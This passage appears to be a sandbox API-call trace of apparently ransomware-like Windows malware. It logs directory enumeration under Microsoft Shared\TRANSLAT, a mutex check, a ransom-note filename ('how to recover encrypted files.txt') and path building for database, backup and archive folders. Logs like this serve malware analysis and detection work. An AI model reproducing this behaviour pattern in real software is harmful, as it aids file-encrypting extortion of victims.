dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLLn", lpUsedDefaultChar=0x0) returned 68 [0054.730] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\TRANSLAT\\WTSP61MS.DLLn", lpUsedDefaultChar=0x0) returned 4 [0054.730] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0054.730] GetLastError () returned 0x12 [0054.730] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0054.731] GlobalLock (hMem=0x440004) returned 0x550170 [0054.731] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.731] GlobalUnlock (hMem=0x440004) returned 0 [0054.731] GlobalLock (hMem=0x440004) returned 0x550170 [0054.731] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.731] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.731] GlobalUnlock (hMem=0x440004) returned 0 [0054.731] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.731] GlobalUnlock (hMem=0x44000c) returned 0 [0054.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d28, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0054.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41cb8d40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41cb8d40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0054.731] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0054.731] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.731] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.731] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.731] GlobalUnlock (hMem=0x44000c) returned 0 [0054.731] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.731] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.731] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.731] GlobalUnlock (hMem=0x44000c) returned 0 [0054.731] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.731] GlobalUnlock (hMem=0x440004) returned 0 [0054.731] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.731] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41cb8d40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41cb8d40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.731] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.731] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.732] GlobalLock (hMem=0x440004) returned 0x550170 [0054.732] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.732] GlobalUnlock (hMem=0x440004) returned 0 [0054.732] GlobalLock (hMem=0x440004) returned 0x550170 [0054.732] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.732] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.732] GlobalUnlock (hMem=0x440004) returned 0 [0054.732] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.732] GlobalUnlock (hMem=0x44000c) returned 0 [0054.732] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.732] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0054.732] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.732] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.732] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.732] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.732] GlobalUnlock (hMem=0x44000c) returned 0 [0054.732] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.732] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.732] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.732] GlobalUnlock (hMem=0x44000c) returned 0 [0054.732] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.732] GlobalUnlock (hMem=0x440004) returned 0 [0054.732] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.732] GlobalLock (hMem=0x440004) returned 0x550170 [0054.732] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.732] GlobalUnlock (hMem=0x440004) returned 0 [0054.733] GlobalLock (hMem=0x440004) returned 0x550170 [0054.733] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.733] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.733] GlobalUnlock (hMem=0x440004) returned 0 [0054.733] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.733] GlobalUnlock (hMem=0x44000c) returned 0 [0054.733] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.733] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR") returned 1 [0054.733] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.733] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.733] GlobalUnlock (hMem=0x44000c) returned 0 [0054.733] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.733] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.733] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.733] GlobalUnlock (hMem=0x44000c) returned 0 [0054.733] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.733] GlobalUnlock (hMem=0x440004) returned 0 [0054.733] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0054.733] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夊U壞U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0054.734] GetLastError () returned 0x3 [0054.735] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0054.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0054.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0054.737] GetLastError () returned 0x2 [0054.737] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0054.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.738] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@嚔U企@\x18?T\x18;")) returned 0xffffffff [0054.738] GetLastError () returned 0x2 [0054.738] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a710, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0054.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.738] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@塤U企@\x18?T\x18D")) returned 0xffffffff [0054.739] GetLastError () returned 0x2 [0054.739] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a710, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0054.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.739] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@Q企@\x18嚔U\x18j")) returned 0xffffffff [0054.739] GetLastError () returned 0x2 [0054.739] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.740] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@뾴R企@\x18?T\x18q")) returned 0xffffffff [0054.740] GetLastError () returned 0x2 [0054.740] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.740] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a710, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\嚐U\x90") returned 6 [0054.740] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@ꐼR企@\x18?T\x18y")) returned 0xffffffff [0054.741] GetLastError () returned 0x2 [0054.741] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a710, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0054.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.741] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0054.741] GetLastError () returned 0x2 [0054.741] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a710, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0054.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.742] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@뾴R企@\x18?T\x18\x88")) returned 0xffffffff [0054.742] GetLastError () returned 0x2 [0054.742] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.742] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a710, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0054.742] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.742] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@ꐼR企@\x18?T\x18\x8f")) returned 0xffffffff [0054.742] GetLastError () returned 0x2 [0054.742] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.742] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a710, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0054.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.743] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="婴U䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0054.743] GetLastError () returned 0x2 [0054.743] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a710, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0054.743] GlobalLock (hMem=0x440004) returned 0x550170 [0054.744] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.744] GlobalUnlock (hMem=0x440004) returned 0 [0054.744] GlobalLock (hMem=0x440004) returned 0x550170 [0054.744] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.744] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.744] GlobalUnlock (hMem=0x440004) returned 0 [0054.744] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.744] GlobalUnlock (hMem=0x44000c) returned 0 [0054.744] CharLowerBuffW (in: 